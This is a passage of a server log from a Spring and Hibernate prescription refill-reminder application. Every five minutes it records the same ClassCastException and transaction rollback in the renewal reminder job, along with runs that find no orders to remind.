org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 03:05:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 03:05:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 03:05:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 03:05:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 03:05:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 03:10:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 03:10:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 03:10:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 03:10:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 03:10:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 03:10:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 03:10:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 03:10:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 03:10:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 03:10:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 03:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 03:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 03:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 03:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 03:15:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 03:15:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 03:15:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 03:15:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 03:15:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 03:15:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 03:15:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 03:15:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 03:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 03:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 03:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 03:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 03:15:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 03:15:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 03:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 03:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 03:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 03:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 03:20:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 03:20:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 03:20:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 03:20:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 03:20:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 03:20:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 03:20:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 03:20:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 03:20:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 03:20:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 03:25:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 03:25:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 03:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 03:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 03:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 03:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 03:25:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at 